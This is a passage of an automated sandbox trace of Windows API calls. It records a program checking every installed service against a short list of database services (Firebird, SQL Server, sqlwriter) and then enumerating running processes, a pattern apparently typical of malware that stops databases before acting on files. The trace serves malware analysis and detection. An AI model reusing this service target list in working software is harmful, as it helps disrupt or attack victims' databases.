1 [0254.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0254.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0254.227] lstrlenW (lpString="Audiosrv") returned 8 [0254.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0254.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0254.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0254.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0254.227] lstrlenW (lpString="BFE") returned 3 [0254.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0254.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0254.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0254.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0254.227] lstrlenW (lpString="BITS") returned 4 [0254.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0254.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0254.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0254.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0254.227] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0254.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0254.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0254.227] lstrlenW (lpString="CDPSvc") returned 6 [0254.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0254.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0254.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0254.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0254.228] lstrlenW (lpString="ClickToRunSvc") returned 13 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0254.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0254.228] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0254.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0254.228] lstrlenW (lpString="CryptSvc") returned 8 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0254.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0254.228] lstrlenW (lpString="DcomLaunch") returned 10 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0254.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0254.228] lstrlenW (lpString="DeviceAssociationService") returned 24 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0254.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0254.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0254.228] lstrlenW (lpString="Dhcp") returned 4 [0254.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0254.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0254.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0254.229] lstrlenW (lpString="Dnscache") returned 8 [0254.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0254.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0254.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0254.229] lstrlenW (lpString="DPS") returned 3 [0254.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0254.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0254.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0254.229] lstrlenW (lpString="DusmSvc") returned 7 [0254.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0254.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0254.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0254.229] lstrlenW (lpString="EventLog") returned 8 [0254.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0254.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0254.229] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0254.229] lstrlenW (lpString="EventSystem") returned 11 [0254.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0254.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0254.229] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0254.229] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0254.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0254.230] lstrlenW (lpString="FontCache") returned 9 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0254.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0254.230] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0254.230] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0254.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0254.230] lstrlenW (lpString="gpsvc") returned 5 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0254.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0254.230] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0254.230] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0254.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0254.230] lstrlenW (lpString="iphlpsvc") returned 8 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.230] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0254.230] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0254.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0254.230] lstrlenW (lpString="KeyIso") returned 6 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0254.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0254.230] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0254.230] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0254.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0254.230] lstrlenW (lpString="LanmanServer") returned 12 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0254.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0254.230] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0254.230] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0254.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0254.230] lstrlenW (lpString="LanmanWorkstation") returned 17 [0254.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0254.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0254.231] lstrlenW (lpString="lfsvc") returned 5 [0254.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0254.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0254.231] lstrlenW (lpString="lmhosts") returned 7 [0254.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0254.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0254.231] lstrlenW (lpString="LSM") returned 3 [0254.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0254.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0254.231] lstrlenW (lpString="MpsSvc") returned 6 [0254.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0254.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0254.231] lstrlenW (lpString="NcbService") returned 10 [0254.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0254.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0254.231] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0254.231] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0254.232] lstrlenW (lpString="netprofm") returned 8 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0254.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0254.232] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0254.232] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0254.232] lstrlenW (lpString="NgcSvc") returned 6 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0254.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0254.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0254.232] lstrlenW (lpString="NlaSvc") returned 6 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0254.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0254.232] lstrlenW (lpString="nsi") returned 3 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0254.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0254.232] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0254.232] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0254.232] lstrlenW (lpString="PcaSvc") returned 6 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0254.232] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0254.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0254.232] lstrlenW (lpString="PlugPlay") returned 8 [0254.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0254.233] lstrlenW (lpString="Power") returned 5 [0254.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0254.233] lstrlenW (lpString="ProfSvc") returned 7 [0254.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0254.233] lstrlenW (lpString="RpcEptMapper") returned 12 [0254.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0254.233] lstrlenW (lpString="RpcSs") returned 5 [0254.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0254.233] lstrlenW (lpString="SamSs") returned 5 [0254.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0254.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0254.233] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0254.233] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0254.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0254.234] lstrlenW (lpString="Schedule") returned 8 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0254.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0254.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0254.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0254.234] lstrlenW (lpString="SecurityHealthService") returned 21 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0254.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0254.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0254.234] lstrlenW (lpString="SENS") returned 4 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0254.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0254.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0254.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0254.234] lstrlenW (lpString="ShellHWDetection") returned 16 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0254.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0254.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0254.234] lstrlenW (lpString="Spooler") returned 7 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0254.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0254.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0254.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0254.234] lstrlenW (lpString="StateRepository") returned 15 [0254.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0254.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0254.235] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0254.235] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0254.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0254.235] lstrlenW (lpString="SysMain") returned 7 [0254.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0254.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0254.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0254.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0254.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0254.235] lstrlenW (lpString="SystemEventsBroker") returned 18 [0254.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0254.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0254.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0254.235] lstrlenW (lpString="Themes") returned 6 [0254.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0254.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0254.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0254.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0254.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0254.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540 [0254.243] Process32FirstW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.243] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.244] lstrlenW (lpString="System") returned 6 [0254.244] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.244] lstrlenW (lpString="smss.exe") returned 8 [0254.244] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.245] lstrlenW (lpString="csrss.exe") returned 9 [0254.245] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.245] lstrlenW (lpString="wininit.exe") returned 11 [0254.245] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.246] lstrlenW (lpString="csrss.exe") returned 9 [0254.246] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.246] lstrlenW (lpString="winlogon.exe") returned 12 [0254.246] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.246] lstrlenW (lpString="services.exe") returned 12 [0254.247] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.247] lstrlenW (lpString="lsass.exe") returned 9 [0254.247] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.247] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.247] Process32NextW (in: hSnapshot=0x540, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 